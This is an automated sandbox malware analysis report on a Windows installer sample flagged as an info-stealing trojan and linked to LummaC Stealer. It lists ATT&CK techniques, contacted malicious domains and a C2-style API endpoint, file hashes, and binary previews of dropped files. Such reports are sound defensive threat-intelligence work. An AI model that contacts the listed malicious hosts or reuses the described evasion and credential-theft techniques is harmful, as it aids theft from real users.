Source: Yara match	File source: 0000000D.00000003.2039177399.0000000004685000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2038585408.0000000004631000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2038438512.00000000046F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2038354438.0000000004798000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2038714564.0000000004E39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2039253834.0000000004831000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2038864349.0000000004798000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	121 Windows Management Instrumentation	1 Scripting	12 Process Injection	11 Masquerading	2 OS Credential Dumping	21 Security Software Discovery	Remote Services	11 Input Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	11 Input Capture	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	12 Process Injection	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	31 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	13 File and Directory Discovery	Distributed Component Object Model	1 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	25 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
lnst#U0430Il#U0435r86x.exe	28%	Virustotal		Browse
lnst#U0430Il#U0435r86x.exe	30%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\670499\Considering.com	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
jookerkslxsafkr.xyz	0%	Avira URL Cloud	safe
https://jookerkslxsafkr.xyz/api	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
jookerkslxsafkr.xyz	188.114.97.3	true	true	unknown
t.me	149.154.167.99	true	false	high
TNBFkotxhoPtfkcmNcPt.TNBFkotxhoPtfkcmNcPt	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
blast-hubs.com	false		high
jookerkslxsafkr.xyz	true	Avira URL Cloud: safe	unknown
nestlecompany.pro	false		high
https://jookerkslxsafkr.xyz/api	true	Avira URL Cloud: safe	unknown
stormlegue.com	false		high
mercharena.biz	false		high
shiningrstars.help	false		high
blastikcn.com	false		high
https://t.me/gwwrggwarhrha	false		high
generalmills.pro	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.autoitscript.com/autoit3/X	Considering.com, 0000000D.00000000.1711615443.00000000010B5000.00000002.00000001.01000000.00000007.sdmp, Considering.com, 0000000D.00000003.2043001513.0000000004F67000.00000004.00000800.00020000.00000000.sdmp, Festivals.9.dr, Considering.com.1.dr	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Considering.com, 0000000D.00000003.2078669009.000000000468A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	lnst#U0430Il#U0435r86x.exe	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Considering.com, 0000000D.00000003.2078669009.000000000468A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.autoitscript.com/autoit3/	Considering.com, 0000000D.00000003.2043001513.0000000004F67000.00000004.00000800.00020000.00000000.sdmp, Considering.com.1.dr, Rabbit.9.dr	false	high
https://www.ecosia.org/newtab/	Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.microsof	Considering.com, 0000000D.00000003.2078669009.000000000468A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	jookerkslxsafkr.xyz	European Union		13335	CLOUDFLARENETUS	true
149.154.167.99	t.me	United Kingdom		62041	TELEGRAMRU	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1616305
Start date and time:	2025-02-16 14:30:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	lnst#U0430Il#U0435r86x.exe renamed because original name is a hash value
Original Sample Name:	lnstIlr86x.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@28/23@3/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 28 Number of non-executed functions: 37
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:31:57	API Interceptor	7x Sleep call for process: Considering.com modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	http://ctakkponmndiri.siitusressmi.web.id/	Get hash	malicious	Unknown	Browse	ctakkponmndiri.siitusressmi.web.id/favicon.png
	engine.ps1	Get hash	malicious	FormBook	Browse	www.serenityos.dev/rmwo/
	PDF SCAN COPY P.O7767.exe	Get hash	malicious	FormBook	Browse	www.actpisalnplay.cyou/oxsm/
	AGODA COMPANY PTE LTD.exe	Get hash	malicious	FormBook	Browse	www.baurishu.info/6oy6/?_j=6nA47ZHp&FZQ=7xOMRooSSsdqiPLUwJdUBA7jSGBkvIlXa8t/xkLysZwhALyZ/D1DnA5RJCtzQ0mexpIl7jsdSrCncqt0u60b9lReTIu2hx5TfEdYnkD0kAiXAP2WKA==
	bHYg.exe	Get hash	malicious	FormBook	Browse	www.actpisalnplay.cyou/3vjo/
	Payment -Advice-6UoSFOxOntvuu94-PDF.exe	Get hash	malicious	FormBook	Browse	www.desktitle.homes/bc93/
	BINATONE LLC RFQ.Vbs.vbs	Get hash	malicious	FormBook	Browse	www.trosky.lol/o88r/
	JJ0tnjLiDS.exe	Get hash	malicious	FormBook	Browse	www.adventurerepair24.live/gc4d/
	Confirmation Receipt for ETF_20250211_HSBCEU314AX51920DEU.vbe	Get hash	malicious	FormBook	Browse	www.actpisalnplay.cyou/c6as/
	(BBVA) SWIFT_consulta_de_operaciones 10-02-2025-PDF.exe	Get hash	malicious	FormBook	Browse	www.timeinsardinia.info/50g8/
149.154.167.99	http://45.142.208.144.sslip.io/blog/	Get hash	malicious	Unknown	Browse	telegram.org/img/emoji/40/F09F9889.png
	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	lum.ps1	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	mma.ps1	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	http://www.velineue.com/	Get hash	malicious	Unknown	Browse	149.154.167.99
	SecuriteInfo.com.Win32.Malware-gen.26093.20806.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	4mDVpaKpPG.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	CYA75gigem.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Howard.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	https://woodfordservicecentre.craft.me/iz204wmfgdyEOm	Get hash	malicious	Unknown	Browse	104.21.27.108

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	Bind.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	lum.ps1	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	mma.ps1	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	Y8mA3DaE3H.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	rPO_9077364653BBG.cmd	Get hash	malicious	DBatLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://www.velineue.com/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://cciexquant.com/Nmkb0veocTfzC05FCdxWDQ2XiGMODBShiDA7i1lk59Er24bbJDPprjg1gTsMH4HuQ_bdJn7KiJiosA9Pg8W7PQ==	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://cciexquant.com/favicon.ico	Get hash	malicious	Unknown	Browse	149.154.167.99
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	ACR Stealer	Browse	172.64.41.3
	Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.23.85
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.209.219
	FD7F#U007e1.EXE.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.75.40
	FD7F#U007e1.EXE.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.23.85
	http://www.pra-me.com	Get hash	malicious	Unknown	Browse	172.64.146.215
	NWzeEUBQ7F.exe	Get hash	malicious	RedLine	Browse	172.67.75.172
	new.bat	Get hash	malicious	Unknown	Browse	104.16.231.132
	TIu0E8HsCn.dll	Get hash	malicious	CobaltStrike, Metasploit	Browse	104.21.54.32

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 149.154.167.99
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 149.154.167.99
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 149.154.167.99
	FD7F#U007e1.EXE.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 149.154.167.99
	FD7F#U007e1.EXE.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 149.154.167.99
	TIu0E8HsCn.dll	Get hash	malicious	CobaltStrike, Metasploit	Browse	188.114.97.3 149.154.167.99
	Gx7.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 149.154.167.99
	lum.ps1	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 149.154.167.99
	mma.ps1	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 149.154.167.99
	SecuriteInfo.com.Win32.Evo-gen.15268.26415.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\670499\Considering.com	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	FD7F#U007e1.EXE.exe	Get hash	malicious	LummaC Stealer	Browse
	FD7F#U007e1.EXE.exe	Get hash	malicious	LummaC Stealer	Browse
	#Ud835#Ude4e#Ud835#Ude40#Ud835#Ude4f#Ud835#Ude50#Ud835#Ude4b.exe	Get hash	malicious	LummaC Stealer	Browse
	#Ud835#Udc12#Ud835#Udc1e#Ud835#Udc2d#Ud835#Udc2e#Ud835#Udc29.exe	Get hash	malicious	LummaC Stealer	Browse
	#Ud835#Uddb2#Ud835#Udda4#Ud835#Uddb3#Ud835#Uddb4#Ud835#Uddaf.exe	Get hash	malicious	LummaC Stealer	Browse
	FD7F#U007e1.EXE.exe	Get hash	malicious	LummaC Stealer	Browse
	FD7F#U007e1.EXE.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	#Ud835#Udc12#Ud835#Udc1e#Ud835#Udc2d#Ud835#Udc2e#Ud835#Udc29.exe	Get hash	malicious	LummaC Stealer	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\670499\Considering.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Setup.exe, Detection: malicious, Browse Filename: FD7F#U007e1.EXE.exe, Detection: malicious, Browse Filename: FD7F#U007e1.EXE.exe, Detection: malicious, Browse Filename: #Ud835#Ude4e#Ud835#Ude40#Ud835#Ude4f#Ud835#Ude50#Ud835#Ude4b.exe, Detection: malicious, Browse Filename: #Ud835#Udc12#Ud835#Udc1e#Ud835#Udc2d#Ud835#Udc2e#Ud835#Udc29.exe, Detection: malicious, Browse Filename: #Ud835#Uddb2#Ud835#Udda4#Ud835#Uddb3#Ud835#Uddb4#Ud835#Uddaf.exe, Detection: malicious, Browse Filename: FD7F#U007e1.EXE.exe, Detection: malicious, Browse Filename: FD7F#U007e1.EXE.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: #Ud835#Udc12#Ud835#Udc1e#Ud835#Udc2d#Ud835#Udc2e#Ud835#Udc29.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\670499\J

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	495088
Entropy (8bit):	7.999620097462215
Encrypted:	true
SSDEEP:	12288:silXPlLLuoEH51Hj7dTrQSNLLMr7cTuBwLG:sQdLOZFndTrvLOh
MD5:	570CD10898951C67920E4F434E329970
SHA1:	E11677D9FE85DCF017444C4B55A46988C6A03A04
SHA-256:	2BD892D44D0C2AC114866B5D5C060E4ACA6F47AB405F8B89EBA4AEE27BE4F411
SHA-512:	F07101A13F1E1830C7B33F1F4D31BD53B785CF802D97A1788085579B975CD692584C56F5E7DFAD655201DDEBFF933C563B5CEE1DA8EC7B00B8D7396F81040D7B
Malicious:	false
Preview:	8.....N@C..a..l.8.>.O...2....9...X.ch...){.M....x.f....v\|.j.....f%...r.0.....Pm.._T.V.....z....)...7....`.X.3.e....W....j...E...w.uH..pL..1G.WjU.-...V..2f.....j>1...9..Q.+..#..t.:_...!..1.1.....i.Io0..6.....G.k]1b..s"....p....W../_v.....d.m...i.d...Ld.........v..<.......gG/.vt.Bl...~..}.<"..g#...Nk.....0.V..Cse...q.wq==..c..$8.q%3&....M.i.... _.9......+T.&.2...M1...k.)....B.).E.H.H..Y&.7".&a...D..d8[T..XG\|.G...-C.+.w..g.y.S....G~....=Y....E^7\..\._.bc..7....Cdq.P..`eX.!gB=.G..:......,...7O...g>?.+. .......b^....TH.I...GT.].l\|.S..c:..".:.]...(=.Xq....i;..cR..V....B%...c...z &.....S...]:$...r.N'.*V.......K.n..OF.aE...8...TX6._R.....+..m\|V..I..K.y.\.J.Jfy.[l.....j4..(.a....u....V.....}..F.......ZJ..P..a..?.o...QAH....U.{O..n{.Q9l.f...?..>.-l8^oF....3.........8..F.....N.s..4_...J.U....Az.~M4Bs..P......M.B\....(...c.M'..b....1.H..r5.....0G...;.%..UR...y.Wl.M..O7..!...i....j.vp..........#9H.l.5M...2.\|.........q.v.Ai..6.. .y...6..M.W..du$s.c

C:\Users\user\AppData\Local\Temp\Ban.pps

Download File

Process:	C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe
File Type:	data
Category:	dropped
Size (bytes):	70656
Entropy (8bit):	7.997487053777007
Encrypted:	true
SSDEEP:	1536:ivuLgRWjzg0NWnHB7wnCIydea7B1pAdN9jVjoEc2jDTRB:6cjzg0Ny1wLyU4j09tciTRB
MD5:	68C059795CE45CC624DD5BFC318BA718
SHA1:	038C6B33572C7297E3C052A1A8D2EC28B4CFB4DD
SHA-256:	4AF5547E4E468E14703A032890727FC7DD64DE1942AEF252994E9EBE3E883BC8
SHA-512:	0FC23F6B357EB45127BF4779E93C463173066EF31365516D6CBABA0A6638778AC230DF4C3CDD4AF8A94B7379AF78F16E32BDE1761A16608330FEBBD9DCE14CB9
Malicious:	false
Preview:	`...s.'.[.........z7..0....@...nwg..])6,s..I..L.#'c.!.2.[....y.....}.X+........6?.F.sIF.RG..-nY.'.~..{....'...Cmi...Y.L/.w.%`....8.W.#.0..(.../.ef..<..(~.TE.(M.xbk.Q,....b.:...1`.h..~(.!...%5...9g...E.:.F...z ...h.N.v.....KP...dT.'5....?h..m..d.=...?p.`>,r.&#G...'.t....{B.G.?&~Q.k.........g.. o.........Z;F...........s..7......b...........Z.....U`.ki...:b.6........<.w....@...cm.*tC.NV..U..#4b...5\.j4......L.yp[............._.b.w..mF.`9..t...].e..........e3.._.F.tH.........P.e...._.A.<.;.7i...........K..K..k%w.....].n7..&~..g.^Q.P.".}A....v............<..Lx\G7_..jK..v..Y...5.4..3$...)..q....[b\|."..G..Df.4.B.......+..u6.p.Kb..&^..M...f...\|....;q......([.-.'.;....x...$..W..^2....S..1.s..p..2n....;...#.o.(...L..U..B.D..N.k.=..X..}\|...;..Z....g\|.](.5t71.V..[.u.i.%.K...........C.!.......1)........._....E.D.....j.O.8...f=.3...1o?/.h9..d...;.s."....8C1..+.lH>.&...m.0y.VL\|!m..../.....h!.@.M.q....a]..Q.n.qw.....zq....K.'2Y...P.Qs..%.M.."Q~O

C:\Users\user\AppData\Local\Temp\Bumper

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	142336
Entropy (8bit):	6.703336639336261
Encrypted:	false
SSDEEP:	3072:jBxT/sZydTmRxlHS3NxrHSBRtNPnj0nEoXnmowS2u5hVOoQQ:jL/sZ7HS3zcNPj0nEo3tb2I
MD5:	6DB95C56F22F3377397FCD1B73BD13C4
SHA1:	7C7F55394570606418C09E4A7119920D57671FA2
SHA-256:	E78565A604919FD3E971E3761DFC4A46FA6304300985DC5BCDB03D497A801822
SHA-512:	66E6CC0AC968D9E54569AD1BB51987055A3DCBCC83E68ABDF6277880C0057F3ECE074C96AE9E78E9C576EC147419102CA426943256D4CBB8B23A601C29B7D2C6
Malicious:	false
Preview:	s..}........E.....t5..%....=....u"..O...............................U.........u..............L......3....E.,K.......K.94. cL..u....;M........E.<W@.}..E.;E...Z.......;M.......;~\|.......}........E.....t5..%....=....u"..O...............................U.....................L......3....E.,K.......K.;E....;M...+....E.<W@.}..E.;E...`........;M.......;~\|..Z....}........E.....t5..%....=....u"..O...............................U.....................L......3....E.,K.......K.;E....;M...}....E.<W@.}..E.;E...`....b...;M...\...;~\|.......}........E.....t5..%....=....u"..O...............................U.....................L.........E.,K.......K.... cL....t....t.3........;E........E.<W@.}..E.;E...N.......;M.............E.;~\|.."....}.......t7..%....=....u&..G.......%....................E.....E......w>............w..........rX........... uJ..........t.......u5.u../ ..w.tk........)w......E..$...E..._ ..tJ...0..tB..3............L.........E.,K.......K..<. cL.....;M........E....E.}.........<G

C:\Users\user\AppData\Local\Temp\Celebs.pps

Download File

Process:	C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe
File Type:	data
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	7.996761913099477
Encrypted:	true
SSDEEP:	768:k/GOp4/xPJC545ObkjRjNArKyvTdJ/mh00uTxchYM50eJ/D2J5qYeiWJseJ:zo4ZJCy5DArH+xScxb2iYeiWdJ
MD5:	E40163F420B3CC0989723D60911BD280
SHA1:	21EBFCA06F754879D11DBF6217B1B63D456BE58A
SHA-256:	4C7FA551CDD3F77864E8228172E5CC1E633012B0E0379A76118B5CDA0DEE5FB2
SHA-512:	3B9AF36D3B2FA797AD18DD3611FA93A309FA6102A78303889CF9C73BCA5F3751CE50A683D6A6FEC673E7D30C02AF2A0E66E4AED431B73691747DF34AEC927AF2
Malicious:	false
Preview:	8.....N@C..a..l.8.>.O...2....9...X.ch...){.M....x.f....v\|.j.....f%...r.0.....Pm.._T.V.....z....)...7....`.X.3.e....W....j...E...w.uH..pL..1G.WjU.-...V..2f.....j>1...9..Q.+..#..t.:_...!..1.1.....i.Io0..6.....G.k]1b..s"....p....W../_v.....d.m...i.d...Ld.........v..<.......gG/.vt.Bl...~..}.<"..g#...Nk.....0.V..Cse...q.wq==..c..$8.q%3&....M.i.... _.9......+T.&.2...M1...k.)....B.).E.H.H..Y&.7".&a...D..d8[T..XG\|.G...-C.+.w..g.y.S....G~....=Y....E^7\..\._.bc..7....Cdq.P..`eX.!gB=.G..:......,...7O...g>?.+. .......b^....TH.I...GT.].l\|.S..c:..".:.]...(=.Xq....i;..cR..V....B%...c...z &.....S...]:$...r.N'.*V.......K.n..OF.aE...8...TX6._R.....+..m\|V..I..K.y.\.J.Jfy.[l.....j4..(.a....u....V.....}..F.......ZJ..P..a..?.o...QAH....U.{O..n{.Q9l.f...?..>.-l8^oF....3.........8..F.....N.s..4_...J.U....Az.~M4Bs..P......M.B\....(...c.M'..b....1.H..r5.....0G...;.%..UR...y.Wl.M..O7..!...i....j.vp..........#9H.l.5M...2.\|.........q.v.Ai..6.. .y...6..M.W..du$s.c

C:\Users\user\AppData\Local\Temp\Come.pps

Download File

Process:	C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe
File Type:	data
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	7.997803731790024
Encrypted:	true
SSDEEP:	1536:2AShp1WHFMMZ6fmx0UjS6q6vE0BVg3sqaZZEtUp+mvD26kZkX/w:LS4HF7Z7D9JM0jJ1w2AZko
MD5:	F468C5EC8AC521E917AD9E5F46582F45
SHA1:	C1E03293E1DAC5028AAB84C5BB7946C4E1760514
SHA-256:	7DC177CCFBF9968085CE0D747DBA3C713B43846BAC65369CE272ACB5D7B4F64A
SHA-512:	454239EDC552F319565F85EAF680A3586D03BF1787CB5973CFD6894E43650A078A4D5A342BF3C92AA8C3F3E20D4A622DDAC7609E07B3F3A546A014C1CB9DA3DD
Malicious:	false
Preview:	GN...aV.B^.'z...+..V.Lx7zfZ..wG.r5p............N...<(..}M...<3.^\...b.P...?..o..9.a...)..&v...Z..L.h/uw....T9...9.?.P.[.Is....8d..0g..J.R...P.Y.cKRS.+q...<w.s...H........b...u.{..?v..nd....LHu..@......B...W'..i .rIR.........Q..C.....E.....C..UP..La!D]Q.vh....d......o..x.d...0MS#d.d+%.......nFyc...Rt.!.iW.G.4.-Y...5A9.p.$.....6..^,....5F"u..8..w4....o....5.sO.\.I....5rP.H-s.!.....9....or9.<7....:P@.........ZJ........LV`fn?.G.%y[....M.....,..J`b/.\|....q.......<U..N..gx..;........$.8.........".wAA.-Q2.y...q..)Lh..9..D........7(..g.h?.U.#..6gBZ/..[.7c......f.w...ej.ff,!.3D..$....v"&.[..m....B.=....].........7..w._...R.;j...r_+...?&..<.j....9.....l..M...V)-.q.... ...L...d.....10..!..).)Lt...\|...o....z..X"@+>.........x../...qL....)...m..S..q"A.,jh.O.e......^"...(v.Y...t=..>.s.jvNH._,.;<.a......Y.1......^.Ci.......lbT.$%..Ig...{..@..5....Xe.S...'..;Z.e"..#S....H[..^&..6j.(..._C.'pd}X.9CD..G..Z.....7.......sz\|.... ...M...?...i.YUBJ.(..R.jQ.

